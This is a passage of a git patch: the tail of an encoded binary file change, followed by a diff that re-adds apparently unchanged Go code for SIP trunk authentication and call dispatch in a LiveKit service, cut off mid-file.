zbG6E%8u+eX|1M7uk(JWI`UpYZ8SM5gW*vDXtaDSsR=qfmgM)k1bm1!luuZzx7mcA| z=}&h9T;8VWni$1I7Gu5VS6{jOU{z>hXuLTQTXws2i;J5*i29n$8WAb7m}GpuD){r%Brx`^FE!-+Mmz(ocXzy+39mWEOiw(%4(^$ zvQy=nLEYXk;F`!g&QM%upu43bFhaYxYw0IM1~74_^^uC>54zR0wpX~iVGij;?eUob zAzUJP-Vs#`ge#huos`(q_k3A;2}D_D2gfJU2PE)A*Qt+?9@i^S(NvsYBOO!pSGSG}u6*PnD-cM)?HN#-pXZOypm@=L_D}!)$XP*4t$rxoU!z!LcMJ=|7 zLT*QpZ8hz!<1Eoyrpt*}+?*{k%`^k&3wg@SmtRHP0q+cV*IoX)r9ua40KPe&-TF3o!LsxL9%p5Hc%8kce3J&;~ad#{4F#V>Q@pO*Tb zlzwabc0qz9^9ZuDkEWB7Q`7nfDh3ANM_0Dy<%Iw`JzQ{iz;*A{I@_H;7hvF5g9E13WB}^a%>mp^JWD5@gv_D)W@+6q7>R%TQj4^l~9l zy1=Yb5g%y5x#VL(LRqcvRHl?nSmQEX;o%joT4Ck@V*d=f7j`V_W66G@32Yzo`?Cx~`n0z4arli-85bR`}GY=t|= zz@h!URr&S8{%7R>Zm+ts^U7-P`O;iLM7UCrVUC!Y*+o>*7yVv8m{JO&7YarNtCB4J z-Ga6Bp_nP1?hjvuw^mLPA(6#~Sa+=P2Ba<%49`cLZGHe&H{2oCM-<~P)|DtEV zWjGoq(Sv^{-OarGm*U-cRFb+*t^^Kjr-SdMudmm8@pU$s2t-G&OZ7rf*)HaMp4puO zCs+a*Tf{QNNqah%z>8}~!OO*DG-BE^5Clu0ZGb3-^01tWW!asWO`lZhSJhC``xKn7 z7GN_U0WsU4XnwF7JKPp2NiT%0xet2#pprk{yA#R(NGHNS5l$+c?YYJN6dOlFoP|uG zSj034)uETAe)*(aShb|%@x}tZE4@~&CEO_etnzq zFYDGGi%maIvZtiDKHYd%Gu@@y0^KQ-itM|HwGB{}3~KF|d`^BWt_}2JiFaRdA>li_ z#VjvL3cNC9{`{~kc*$|PA$NJvy|21OzZq1+A(G@O#swxCuL5v(d?9++@MJb z)Q0RLQ12r1i*v8DW3E1kKO^vt%?#AWQmbE?;)TP~XTS8BIAJ+%C4Ik0%p}k2rZv&g zYfO)IB!}&FpIb>-j)~Lv`lfW4nPyt>Y8zMPkRD@|(Io1`a4+*`0j-R6Oxgi)x4pW# zrZ70(sq!t#vI*y?Q$<`_t@?s>r+>fw6T!7kE=JPf1b*`KR^-!9BUchVXE`|>^YpAR zBOEM>K@Z?=CvwFKq*MQ{brZ!-{Zd4II)XtDehMsj+x++t%iS-(!uTv#VY@{l74=Fe zpmtK1s99I=eIrKP^J!+@G4l^YL37nX!?q1KV#RAvO-uKUX@WvB#M`2V-=)957vHab zap}c=_KV>c{T$8vkGdWAS6|G%kB7#iM#k0w-E zE&v0-Mjp#20x9B}dySpbk|;osVB5BB+qUiQ+qP}nwtd^SZQHhOWAE<7#LUCa#{NKM zW@Wxr);ZgD+H(pPOXK0j)yDxgyF4@auU9oJL^ zF`!+)HzK*?&Q{~wTCBi@XrJCHV3rs~;iT8`xD)~rS>4g`hn7OG7gw<%rtcvg(6~I@ zC20!j2N2SD)n+51ZB&Un$Z=}I4I;M=d8^VU0NZe}Z4IWOh2G`t;QQpcJUU|0_N@Is ze`dmzMO2^u@ZUYXko6u(DirGz; z%c$DHZO7eS0!E|!ZLB38a}$sjGYb}-_yMb@A})LPigzl+;TP3eObcfd-R^FfaN>Ep zgke_wmGn!-MC|9GLQkFGdHl1o9)o2-P52*z~XRLqSU<2$_DJMr8M z*Z*YqGOuh6_tK5nFV?)W^=B9TlkG|+`6Cn0Z{oRHq6FJ18vC)T^HNy++tz9)Ll15{ z{Yoq0^W5RRsjy`2k1J;zo4RWe7?6DIV>s1my?m1Bms&!H0X*TmfBU)Z-_^uXl&lOpBgGlgxTVg#IUV=zuyeQtmVMe-!}2=4CHh><%yV%VJ_ zPSwA^+?jNMH|j#AqK>xpHn$|^=dH{umZC0ct^T2JPUTjKe39uZ z2dXhnTn@69S}W6`m>PEGtP4*|ONBiblzD-jjQht@XfbYe&pG1j##wzF;Lo5>dXVZQY?cx688-Kk)D2g*t!3Tm~al-c^>%_#xR}o9duodpH_5(Eo&%r8TKAKJ((MOO-%Xyzr zz^u1-Bi{9?$A-&(+O>h`s^Y;r?iAE^N6C{lo@+^a1k4PXWOIMv5Qvmi0u3qzPI8Yf z{n4#pKLO*)9F1W@ba97vyeAb*(~}Ir?nx-b&Cquyu%Z}54PH1a`%#lQt$wOP^`mC+ z(6=UGFQs1NO+?a18f-aHvynlPhdxt#h2Ds$!BWD|R*1zHe_q}*GZE*MTVt8BIG;G+&SOj1#K^Ju_RyJ%uFs)A|(yG zMzD2DR00jW)~RTSWz&>|Y`#t#<6oAIA)e~E!i#N;1i;AW#Gl9qd%(=S}QB?Wcvm##okTWWLw)^~>S zCxZfJ?9RMlLIzPmc_0)9G=5qzMZP9u)hK6!j|e|GfzeL#O_Dk$U?l=3Wqft7acRi! zYnN?#nZuW2JpUaH0Qr!?&?lq9@W6VqeWFA9!wGW3KW)coIY~0OKx>@esi&3LF46X6 zC|XBFI-ICT+pL3ZjZWTL{zrla^+XoQj!LhMJmgztw)4dDX!%q0g z>W7D6oO$&HXoTd35AB2VQ!#W10tum!8kvp0ukarWXj#M~d6O_^6R+2+-sNqj-pu5j z6yi9VG;9kB_`$9YynC(@_0(_tC=-gzijHwRj2H1eR2ZR4lBd>dcicv+H7DA}v{sU` z@btk~_w4QPRoeT6wl32P2u0Me?8z0D@H`blmA+`R*^VTOm-iX*m+K#!Bw(^=zQ6%6 z-^Vkz#g zl-b}PyU_Qaac8Vw&|`Il1sE+8b3vy->=`}1i%?#WS1YpBm z_mf0TB>9MAbu8rJ}h8SGuiu+k9b>1H=&69KvRr?-NbePZ_x{tfCTG=EWi!X{CJF z7i`}(jp`{F*evNxlC*zfl?6MhIXHLgwpoZ_xjc`T&F+Sr%W8dVnI$7r16a3-^h`!U zaD1|D;BSew41zI!wKvW`G*QG`hNxhY%Uv5aFPA7PE`*c|@`uOk4E6i|b=!C2L;y$Vux#ve zq2JFW|B>SEASVZ(mDg90oo=q>Vdz34nA3$1xmkbT$1rIgOJsZq^Ls+!d)x5r+z5NA zZ~Z$i6PASuR_T+Ai{JKu8xL8_7eK=7iwsQGWk1|Kfb07JodF-dOrBrbp4qEf&^JN2 zq8n{JIeI-+I=psN7NmdCC`{5l(zF^L)g^PMs`*xOnGo_wUJVtb8mQDgQNfj2o9fAmJocg zKzrByCJRi=ddxYC6B_}4?Pn9}G=?CdCKzykDQ4P^Bg0$6CR$nj0DJ;gH?(4IF9{3W z@c6W40v@<4@waEUrY#x%*yjs6sAp)f|FvFB7~t{#RQi~|#E%9|6Dv&JK7QpfA+V~6 zVaB!9!_S?E|aA~BDXXeB{-MFzsCq}olgYk7cwz_ zB1@!N#FEw6oj!E-%6FGXXFtgt>J|3sUh}aWADNW8h(vP>DeqM{3R=!^gDYBbBS1bS z@J#IuB++Y9)!kcqfP3-{pRsHRuc%j6{_MMO>YEr&D5X`Xrg)=!BZU23S@6Q9N|j1+ zI;{{~8p~c)&S_-ZZ!BXr)_8jv=_>d~F~++Vj1!|W)>jV7S?S;XE%Q2TF+U~@rL+R+4!+RAt5spT}qMtBhkNysVIPXMzk3W&9ez& zrH9~O0PYFI0ix=hYHfeD^$-t*xZJ8DqQdnc5mg@3x2c4Id++lHE%y_-!n(Fxi#*uq zuZ6}f8+SHtBXU095N#n{AAtosRBD?1Zc2+k>SW6dg_5iS%vBhcOyvNyLetd!lMM1%1 z7h?0B3QRz;O0%q8VH>)XM9=NF_-Qqo$(4vN zF);&}L7HAYM%M?cRnYew!6ZAo4OuXmq;ma`q z)imDd@X{8!3`RB_FekP&cYA}7o2PaJXBPEPF@1^`<~T4KAZcat(;6vjIbaqByg6j#MowaJV#so=J zCR;*#WzLGLaU>Xu4qXHEQKBYZVKXGLsa-odMP1NAwVNSGaYuNNBujmBJ_&&W#KKpsv^oZ)j%CuoV^Z@rjY+kD9A>5-Hrd~_~P5Kr7XzS+27!qo+Rvd zHd&!A5sP==z5jRvTCHF*e!`xPOCVSGb@#b+CjmlX~c3<{d zU9x%Bt#&9(GiDg=?8tH(auN1o2=tX|lB57#u(;v;^;w-xzB8iNja(s~BwMdA1E2$w zGPNg|nff2RAmHZ*%^(Fi_c#kmA=R5f4R@HnQ{1q8{sC{IgbyLwP{R;OY@;zwI$Px$b)kVG zZ?Wq5%eV}4iKnyO)t8KxJXL6hL7^<)izv z3U|UQj#Zf#Gw#H2mf|%k{yttYSBu+*IJL-MS!W!ef>~0do%2UhyPv@f7Ep+#7}oeL zUCiIv`jDUhsWl+NCD?yYN%GXjV$~yW%r6AKF}8}Mrn#|Z%J%OXZmIc-omM4Py*I1k zTBq~4uD)l-Ql9ub9!g^RU4)>FfR+r7`a=@lYwj&?QFxwdFdBmWTid3&A}Pg}Dx4z= z&bP)-!rk9a1eca>VQRq<0;L2|J$^Wfpmr}r1JA^xv1#Ojby^OvjY@Km85?xdkL;bq z41} zDF;+2=94BTOd;pu*!~DYW7H8;ZVNzxgC@$6XT#NJfCbI8oZV?07<~7vV z>!vmZW|Lav4kure?S{e5$^C1eKfSNq!vuP9dxgy}F>A*JF@4NcSJ}77xfzQLuA|$a znR$?@KnI0?T)T8_syJ0A1`9n8K1mcIJL+w5VS9$dnc3t4XQGC=yh9ga)kUUN0PfrZ z6eBM1J(P*q@bL-s&x(8NQ$uS=VJb~Ww0#VDSh6FSh~2}D=_YW>yB%p z&Fq6~e;8w&mT@?Ud`_s$?0Cmq5~PmkJP{j^;l*7H7lP^_RKQ~vk`I(dSK`jvQX8du z4zI%02SI(2f`*BD8p{`dk*f9RZje&g<%kuXAiad!e?K_+dy9xfk;P;gcN-Ki`M;JpL@%-!PocN5cY2}WTt?^OTj zPMvj)sD*9mwl%ZHqO0{wlX!2t|D(e3eD`~vR3~L8G1o3bgff<6oJ7L0S{mIzOEuaV z2x{b+MJ1X)OGT9QI29V~ylC-mmN6F;9wL%ph7vM>227Dfq}Bl|NMQuSAH*jKPcUK+ zn0iLHi~mk!0~Hvmm~lRlktNXE0Kv_3P9)ojZkxcI&vo~M!?>n;dcnNlQStsI9@y3G zfXX~+_aj5*RuheT!u)F6-VsJX*0W^bt_yS%GiW<4a;tICm>&B+Ymq@wM0d34&fkh< zRRMRA?P{LpzAb>uVPHWK=$cx&uub9+^gA~Mpal11C1DT+u~lDrITs=L9_~YP}xOF{BPv>WMJ6NPkR?ecCM#qnXoZF`dn5c=DU&GY`Z{5%fa z{c?jJwtf3Ji?@Na5bWQsF$0yNmqK0ZP@(#U@VB=q8-~aJ5+qfw4CIbkJXFel%?Aa$ zIG=wikZCDI6A7Qz!{SY&+xuM{Tc*ijxbznWILU!3r`1{f{UHejitvv|&!N&jQh{Jh>)*A2d;v01UDpuw;KloD^AX_;l zksTRl49rXtX{n*y!lMwy%%VZ64@~%JO!l#wUri#33tvrCDg1gqlt3btloiQ*oh0m| zW22|&6b@y6AQAeO%7DKv84Fv0qVm7fE`d(G6gL>zK)TDyD*jMS3WIIR(9Zhjj*%BZ zfux+uH93p4WeLi^824Lq2l**$mpf*+%VzDI4OV2a|^3(rqv;gL|vdC_U#WEw4x73zD+T69@yOOE~Uf^ z`7>Bvt{^Zv5i4J-`Grz{_jj4o1%c+xFCwmM5F2Hr^hi5;ouxNSUC~Lq<&!|TYEXR7 zm&V5c6s+oq976*V|K?f^C^`*?Q`ZWJc9ZfeLMc&8JmIPK=};AkT{C&!B0s;>NFQve z;rUzFqSEH0InEvt3TrVf$MZ!ocR^M7p1+(0VJjk4%WbcaxGiD4+JWYMl7wxElzRdo zEN5^9jKhWC6nd%L7KvZMks5J|i3P$5vFgwJ?*LO1u@PYcS_+kfI)q@>DeaUhNNt>* z;lN)YSSo@+)MkV*fq7<+71VscHyR2|Le(@@Io@+G$eCy=;;tlyDrcYHV3A6U z%gdK2^&-kFCkU`a6oz77U`U_MZ(WEvC>GJFW{T?EB0tOi7r4tYTs1G53G6%}zSl6y z1^FB*;(|z+TB3xHRQ<9J3MR(b^^`oMSYZjX0Pk=0)z~z~(L|9L>t=g&VgWeuX=3|U zd4*_dFqr$r-F83%v{KdGB8|#&a6@Qem4=Kw>7UtdckOD?iV8|eV&aN;(83K{(gXYi zNb@hNSM#_kk7qF7!c;)_jE*Y2RP*2x+V14F?{LS-c4eELR;|U zr~?mOUM07@Cbh@Kx`lX3V7%T6Rj|sJ0%8kJ;)*c64NelDUPH>)avL+#H)=*aSZQp< z=ERfsgUAfuteKhR(_yxXKL^cJDW{o`$)>&urwo5Iud#dkH0iW>Y19`!4*NY6bm9q_ zG>aWI{p)Bhirh%>(iQ`#KFAL#StIyrx`cl+EsdIo*B%8;1KM|D!?sOdBry?cH9h?4 zgd4AcYULi%F>}abc52^Uw+BU5An=u4Vd*n2>JZ4b#v?6gmf9=@Ni$}&kH>)u5eYwc z6Ddpm>EuYSawcBWleZalNnFlb)AsO*z$+5+Bn~vF-It)5B*{8!CC-6R?vQU%KJ^H~ zM(FV#=`|uwRa;j+SOvh<={Vhlp4n9{{z>G2Tr3xT*=-KJtSknJ?`ku$V3i*+_D?>H zN-9!y;62ggD+lyBSM&$0edZI;6ht99tMqmo^ zl@quvlBtGv4Rbre!itrvU`0Axk4L|u6%4t*m|YjO9PetEJ*ZO>qlc2y6(LR~CePu}NM=9t=W&O-UWZVG}Aray|e$334(y-3Czuh*y5^VqeS50M3;IrZJewMjV=8u>2sK_bPFTgL_cW*)gLT!+@?x95SD^Zk~fhSK`%MZG33xxB!(-O@s&3)x_ z=TKyDk8zZRn9(!AU+4AV^}D{*CO*s@MtzGp9VoZs>^51^=$+6+%{d?|w7`-5cEzu{PY@h;pnO0oJau)zP(yrsa*@!?8lB_{jvH;&=$xQKdHlX5 z`2=9_*khmVhMLN*iBhA-jOe-#PC)M@qeMzGxEIBl(nzE#$icaM&Z4byRddK`nf97H z9#a?1GJdN^id%5o%df-oS0#G@hnUQQ62^s>SUX{2qOpp`3DXP*YNS#eZEqF>e#8x_b@JQe z2k>Vm_J?5i^6y)nqEq@pe;vGc<~Z33RJ4l+AWEj}3j^D9e0C&9g8yCDLNv(f99)Bk z^w0o=wS(+UBB~{^Y!eXivK1(AO$wnE3oZN3>Iie#!z5XW3kbrDnU)sg_*qUsohnR5rY zs6)aAHXqclf{Ix}RwTc=#b&f{|D2WnE z5Ghfxa0W{nKCw>#Cm0B3qAOY$;hKdXppaXjp`WO*-KfDIvCv(y;h(wm-GK)Q6)^bq z`PIuHfr{xrxC0@Ikomg+RxqpIu!chyM~@IWgj6n5qfoJgRV`=7kU51`IelZ_v9-m^ z)7|wu^^pSOj}V=YAs3G_U57&-o>*0uX`7yU-Ij|Vte9P-p_{C_-IOEp%^>&KVEgI7 zrB~x8H}eA`0P$0J?SLWo#g85$RmhxP_09f22E%Z&;r1m~v_6LnCZVn1PYi~fr2><8aR1^#4!}An3?~n zyi~=_iu7H;{iYot3j{-&XiJDLI}bKlk3N49L?4h$KNM75lw5xpWS^L9zZgw5 zU%$nO)EAS2C|PWB(CM{~#_7@fLm*GI#YW{^sAfS|NnK+5=x5w=W+P|QGIcY%YPpR z9scOWuBuJn?A7lsdK@3F<^CS-pmA`V&-8{ac$?-_tm+rCSdm;vf0+N%=P&Y6T~O&y$Vx8g z>sB1(45au4mQgxGAoUi6cc2{hlm(I-W(F-f;*C5y;uD`l<7-#K_;kT;_6xYhy7I6n z6S}ZB(}S^{n%_?>PrHuf+Bhqj*>(^sfP|dv zk2-U^fXt3+jxYY840@d-9;gtx-IJo@G>;_{sl?0q&^wPhwz{?Zp!j;oX3cu*eStO= zYYJNAB|=XWEVmXoCa(IYOO+63p>)|igXUL&`fQi$B}u>daW~hW=WT?8?Fp$z1`fOyUk~_>2eEF6`1d=RZWF~Z6soj>RU$0kRA$g!>JgKIR=eK(ByZ%D;-cQU14I?izgpq zd&1A@727;_yMI%LT-S9GTtjj}s){{l^;Ty?t&+(3xmqg|Pb64hmD*;I{ZSW)Z~YP z9Oj?YX`7XwUh9@mA~8?o)ClHc%>_1Aj^an`Fd!qdl^=_pg?)bjH)VGr%62P(KmY1p z(Pq+W5VGKk-f}R0kFt9wFd`SgA=AXO4>m2VQ|yD#K0xPH7h|URi92Wm-kyhXVft>- zsT2oEoP7V*Ub+kWJY{P$YtD8-k8e?yKz5&eSyyz48s?9RL#m@6T-Zi^@O?q?HqSA5 z@e%uYgAo24aU!z;aw&Y$5@8BNJ+ck_=@p)^d?00PqZs=(Td%BiKrpNC=uENN(M7g9 zQ77yeiUi76A>BXWytw&5#r@#EkxjJ??Yr6~mWK9MhGNq=&!PQeHSd&dY_0{0F;u%; z>{K=_=V3+H?Zwg!h-R@`B4xsw|K*a6L4=LLOLG0<8L5mCBAgqN;O%z`eZyiYJ5KJ`Ldx!mN0!W{HEMhlV74?33t zWI{h$H#m7@b?^z>`w|(!2Iz2}qpa!}Rs`@kaSdSc^k{>qpbYF<1|ynK?2b(gsY&Uv zHSJa9`_IjZ1&Pt9FmriJewRe({NU0N29Xl&PP*XN?#d9Yr_UiP^OOW#-OT%}h;Rr( zz|{D<(ubbY(P@z4)UkJ~t4e3;UHK9EweW(TUXf_j)GUASHeC0F#x0~-Or-&`+QTPk zs|_`Z8B$A_*%!q31_69W)nMg61nqU>CUnpBF^Oci34iq8w{`hd>Ale4dMf zaW|;tKvx-do6G)YD1Ve{1uOC8CFXs?nwDF`%-<}7FMxVrMqry<6nU=5eKUh|XRuldjP_N|%8?}f~3L5|k2rHgj>tupmUhiZ`HjAJM^i$Cj9pKzE$i*%q(V00LTwfXon8a z!WPZUG%?_!^94!FpE;D%TiH1v3_BC8UxInZ{xN5p>Ic(dKg;sS z_jcADSKTl5HOY^Lbfl}HH(%b~%1N8I&VntwVe+L2i7A;irqf)f?^R!5`D58n^*PKs z?Fi|@NXQnmHZ_0R>iuxANWWF;d%F=}#*J*-Lc9c*nUnZBm`P6qyq@O6mcUTO=%hRs z1LSfZo2yO&NH?SeLyd-Ce1hvXRb&g)@SRpv4APzB5H;iPW0m#M=Wy;N1QqFFm&{bIp&1nnE{f z&CKl!m{TV&;$_$EeE%{zJm=An-e>pcC}zh|q*=V-1D*nY5F z2ts8v{_P2-YK9fxu12MzEt5bDtyeLMH6Ea+A#cyd%i;TQg*ZZb3Df{Z0{bM&jwAgUzfrl=Vt*Mq<- z+zwIQ@GDIu?1}Tx9dTzE17*?1$c}>%5Y0eenO1_8hOT^ zsCIy|OKcsHq8<~tBT(FvKxNn3#lTJ_FASZo`y=cv)%$?y{E2X8HdF-Yz1dk~qLhYw zsQ@*I#o`=l(6a{lPAww5ff+rM?OiU$)b%Xa zm&gE9fv50&cQ0%wg3S}D-P;KMaq$<0q?iS%w)&H|RXj9o&D{ag~ z9FYjfyONF~Z;f%Dpn7y4sDc3+XS<+WaZ<8M#8bjN{!Ku@w=#snH-Nd7=!?oW&*lt#mU% zT6KQ`llEFIYVF%hZ#3b3 zc%+g?9yW+0sD z07CO|ecF=3m!P2=;7l-a)GPb~NfLLrg%{bidm$hfYy8AF0vDs(f($RN)3h&Tu7rXK zSa`Mc-n(IgF9!-mG1Xsd1?w#OyoP*Tq-wdU3cxs2BabgJY0<8 zB?jX|lRxH?T8NkbA#_d{0y<23*dAE+*ym_9caBN-tzu`=ivb_Jq1J#QMZC%+%OP9* z8KLAyuqCabaAJSo&xP%XZFS>Mz>*-{-J*AX;?uxa_>_Vg3O6Z_onQ7gAYf6=&NNzr zCxIh7EH=-R@<{Z)HVQe%>a~OZ1Ut+%gA-#fY&sC7&Hx;ATn9!f#mw*&XxH$dXOoJg z6mb*no{QGu|YH%Pm`sU3Fl=+-cFKyONBn9q>4g=Djb{fY{ z2oTO?tsGJv(RR2bSf;8#C0o;kU=2>@nxzF2FmcY%P|n)r&=C`Z7|dlbif2zX0Lqy# z5NYfSAWf5sy9%Vo@3QmC0DI9RDzrQp_z=>+{j+jIU(QPGX~hIjmZqINaM{mp^A7dDvo17z-^cEfm3D=40xHy53Ru}v4?Gm_wTCS`JK5n z_EAk{+O5p=05ul{;_zzmn(PV8b%}_A#7rS4 zW_g{ejA!1l^UhV5RpmSTSmAj_Hks)t!fic1)hTf91V^=3u$r|VU`~DhVEh+g6MP^_ zV7Hx40`&fB*vnt}k892wNLKFxlB1$9;2b9W42YSNnb88R3R$jG*9=g<#q!~Ue3dSA zj*yb@F9mC zC*gx4DCf2pz7^U99~>1H@r$ zZ*pKvOn1=%{;WrkGjZxED{$6FecJ~h3%l8jn<=^Ro+xd^V>+PY_S+1KND!}TdV{_H z_4l4N0*H2$6MGec6qy`< za-1zL*ZLhV`=nK_I9RIn1p|DvJ{L(6)0=u#a-oAZnL`^p z0A=67%)TnxfDTb|#JHMEcBF)+5_?U;sNWDXbMqH-9Jsh=$GMe477H^gm?$GLS-d6P zXRKvW|AKAN`_E8EgULOT>#CYM_;u~Akr4DKD6(3WPp|6ak)ke$Dd${|Y*TWgTe^h- z^^==2tvAnk6dC02pfNPP!LF&6yF~^ArJ1TS+=l3RUvflwyl&%#CkTa~gcyC1AzRo|^2-ValSD)&&-=s+$=*S(D?>)%nO%0p7a6YHTKoLX){y>6A+Ht< z6t6w*A^`%v!Bw=3Sb7q*89tl1szcx>M#XS~$;n{(fKveubbI$|$QodfvgdQfXn?YR;GTW=TK*0093BVBfFK literal 0 HcmV?d00001 diff --git a/pkg/service/psrpc.go b/pkg/service/psrpc.go index e357df540..88d449cb0 100644 --- a/pkg/service/psrpc.go +++ b/pkg/service/psrpc.go @@ -1,197 +1,197 @@ -package service - -import ( - "context" - "fmt" - - "github.com/livekit/protocol/logger" - "github.com/livekit/protocol/rpc" - - "github.com/livekit/sip/pkg/sip" -) - -func GetAuthCredentials(ctx context.Context, psrpcClient rpc.IOInfoSIPClient, call *rpc.SIPCall) (sip.AuthInfo, error) { - ctx, span := sip.Tracer.Start(ctx, "service.GetAuthCredentials") - defer span.End() - resp, err := psrpcClient.GetSIPTrunkAuthentication(ctx, &rpc.GetSIPTrunkAuthenticationRequest{ - Call: call, - - SipCallId: call.LkCallId, - From: call.From.User, - FromHost: call.From.Host, - To: call.To.User, - ToHost: call.To.Host, - SrcAddress: call.SourceIp, - }) - - if err != nil { - return sip.AuthInfo{}, err - } - - // Handle specific authentication error codes - switch resp.ErrorCode { - case rpc.SIPTrunkAuthenticationError_SIP_TRUNK_AUTH_ERROR_QUOTA_EXCEEDED: - return sip.AuthInfo{ - ProjectID: resp.ProjectId, - Result: sip.AuthQuotaExceeded, - ProviderInfo: resp.ProviderInfo, - Observability: resp.Observability, - }, nil - case rpc.SIPTrunkAuthenticationError_SIP_TRUNK_AUTH_ERROR_NO_TRUNK_FOUND: - return sip.AuthInfo{ - ProjectID: resp.ProjectId, - Result: sip.AuthNoTrunkFound, - ProviderInfo: resp.ProviderInfo, - Observability: resp.Observability, - }, nil - } - - if resp.Drop { - return sip.AuthInfo{ - ProjectID: resp.ProjectId, - Result: sip.AuthDrop, - ProviderInfo: resp.ProviderInfo, - Observability: resp.Observability, - }, nil - } - if resp.Username != "" && resp.Password != "" { - return sip.AuthInfo{ - ProjectID: resp.ProjectId, - TrunkID: resp.SipTrunkId, - Result: sip.AuthPassword, - Auth: sip.InboundAuth{ - Username: resp.Username, - Password: resp.Password, - Realm: resp.Realm, - }, - ProviderInfo: resp.ProviderInfo, - Observability: resp.Observability, - }, nil - } - return sip.AuthInfo{ - ProjectID: resp.ProjectId, - TrunkID: resp.SipTrunkId, - Result: sip.AuthAccept, - ProviderInfo: resp.ProviderInfo, - Observability: resp.Observability, - }, nil -} - -func DispatchCall(ctx context.Context, psrpcClient rpc.IOInfoSIPClient, log logger.Logger, info *sip.CallInfo) sip.CallDispatch { - ctx, span := sip.Tracer.Start(ctx, "service.DispatchCall") - defer span.End() - resp, err := psrpcClient.EvaluateSIPDispatchRules(ctx, &rpc.EvaluateSIPDispatchRulesRequest{ - SipTrunkId: info.TrunkID, - Call: info.Call, - Pin: info.Pin, - NoPin: info.NoPin, - - SipCallId: info.Call.LkCallId, - CallingNumber: info.Call.From.User, - CallingHost: info.Call.From.Host, - CalledNumber: info.Call.To.User, - CalledHost: info.Call.To.Host, - SrcAddress: info.Call.SourceIp, - }) - - if err != nil { - log.Warnw("SIP handle dispatch rule error", err) - return sip.CallDispatch{Result: sip.DispatchServiceUnavailable} - } - resp.Upgrade() - switch resp.Result { - default: - log.Errorw("SIP handle dispatch rule error", fmt.Errorf("unexpected dispatch result: %v", resp.Result)) - return sip.CallDispatch{ - ProjectID: resp.ProjectId, - TrunkID: resp.SipTrunkId, - Result: sip.DispatchNoRuleReject, - } - case rpc.SIPDispatchResult_LEGACY_ACCEPT_OR_PIN: - if resp.RequestPin { - return sip.CallDispatch{ - ProjectID: resp.ProjectId, - TrunkID: resp.SipTrunkId, - DispatchRuleID: resp.SipDispatchRuleId, - Result: sip.DispatchRequestPin, - MediaConfig: resp.Media, - } - } - // TODO: finally deprecate and drop - return sip.CallDispatch{ - ProjectID: resp.ProjectId, - Result: sip.DispatchAccept, - Room: sip.RoomConfig{ - WsUrl: resp.WsUrl, - Token: resp.Token, - RoomName: resp.RoomName, - Participant: sip.ParticipantConfig{ - Identity: resp.ParticipantIdentity, - Name: resp.ParticipantName, - Metadata: resp.ParticipantMetadata, - Attributes: resp.ParticipantAttributes, - }, - RoomPreset: resp.RoomPreset, - RoomConfig: resp.RoomConfig, - }, - TrunkID: resp.SipTrunkId, - DispatchRuleID: resp.SipDispatchRuleId, - Headers: resp.Headers, - IncludeHeaders: resp.IncludeHeaders, - HeadersToAttributes: resp.HeadersToAttributes, - AttributesToHeaders: resp.AttributesToHeaders, - EnabledFeatures: resp.EnabledFeatures, - RingingTimeout: resp.RingingTimeout.AsDuration(), - MaxCallDuration: resp.MaxCallDuration.AsDuration(), - MediaConfig: resp.Media, - } - case rpc.SIPDispatchResult_ACCEPT: - return sip.CallDispatch{ - ProjectID: resp.ProjectId, - Result: sip.DispatchAccept, - Room: sip.RoomConfig{ - WsUrl: resp.WsUrl, - Token: resp.Token, - RoomName: resp.RoomName, - Participant: sip.ParticipantConfig{ - Identity: resp.ParticipantIdentity, - Name: resp.ParticipantName, - Metadata: resp.ParticipantMetadata, - Attributes: resp.ParticipantAttributes, - }, - RoomPreset: resp.RoomPreset, - RoomConfig: resp.RoomConfig, - }, - TrunkID: resp.SipTrunkId, - DispatchRuleID: resp.SipDispatchRuleId, - Headers: resp.Headers, - IncludeHeaders: resp.IncludeHeaders, - HeadersToAttributes: resp.HeadersToAttributes, - AttributesToHeaders: resp.AttributesToHeaders, - EnabledFeatures: resp.EnabledFeatures, - FeatureFlags: resp.FeatureFlags, - RingingTimeout: resp.RingingTimeout.AsDuration(), - MaxCallDuration: resp.MaxCallDuration.AsDuration(), - MediaConfig: resp.Media, - } - case rpc.SIPDispatchResult_REQUEST_PIN: - return sip.CallDispatch{ - ProjectID: resp.ProjectId, - Result: sip.DispatchRequestPin, - TrunkID: resp.SipTrunkId, - MediaConfig: resp.Media, - } - case rpc.SIPDispatchResult_REJECT: - return sip.CallDispatch{ - ProjectID: resp.ProjectId, - Result: sip.DispatchNoRuleReject, - TrunkID: resp.SipTrunkId, - } - case rpc.SIPDispatchResult_DROP: - return sip.CallDispatch{ - ProjectID: resp.ProjectId, - Result: sip.DispatchNoRuleDrop, - TrunkID: resp.SipTrunkId, - } - } -} +package service + +import ( + "context" + "fmt" + + "github.com/livekit/protocol/logger" + "github.com/livekit/protocol/rpc" + + "github.com/livekit/sip/pkg/sip" +) + +func GetAuthCredentials(ctx context.Context, psrpcClient rpc.IOInfoSIPClient, call *rpc.SIPCall) (sip.AuthInfo, error) { + ctx, span := sip.Tracer.Start(ctx, "service.GetAuthCredentials") + defer span.End() + resp, err := psrpcClient.GetSIPTrunkAuthentication(ctx, &rpc.GetSIPTrunkAuthenticationRequest{ + Call: call, + + SipCallId: call.LkCallId, + From: call.From.User, + FromHost: call.From.Host, + To: call.To.User, + ToHost: call.To.Host, + SrcAddress: call.SourceIp, + }) + + if err != nil { + return sip.AuthInfo{}, err + } + + // Handle specific authentication error codes + switch resp.ErrorCode { + case rpc.SIPTrunkAuthenticationError_SIP_TRUNK_AUTH_ERROR_QUOTA_EXCEEDED: + return sip.AuthInfo{ + ProjectID: resp.ProjectId, + Result: sip.AuthQuotaExceeded, + ProviderInfo: resp.ProviderInfo, + Observability: resp.Observability, + }, nil + case rpc.SIPTrunkAuthenticationError_SIP_TRUNK_AUTH_ERROR_NO_TRUNK_FOUND: + return sip.AuthInfo{ + ProjectID: resp.ProjectId, + Result: sip.AuthNoTrunkFound, + ProviderInfo: resp.ProviderInfo, + Observability: resp.Observability, + }, nil + } + + if resp.Drop { + return sip.AuthInfo{ + ProjectID: resp.ProjectId, + Result: sip.AuthDrop, + ProviderInfo: resp.ProviderInfo, + Observability: resp.Observability, + }, nil + } + if resp.Username != "" && resp.Password != "" { + return sip.AuthInfo{ + ProjectID: resp.ProjectId, + TrunkID: resp.SipTrunkId, + Result: sip.AuthPassword, + Auth: sip.InboundAuth{ + Username: resp.Username, + Password: resp.Password, + Realm: resp.Realm, + }, + ProviderInfo: resp.ProviderInfo, + Observability: resp.Observability, + }, nil + } + return sip.AuthInfo{ + ProjectID: resp.ProjectId, + TrunkID: resp.SipTrunkId, + Result: sip.AuthAccept, + ProviderInfo: resp.ProviderInfo, + Observability: resp.Observability, + }, nil +} + +func 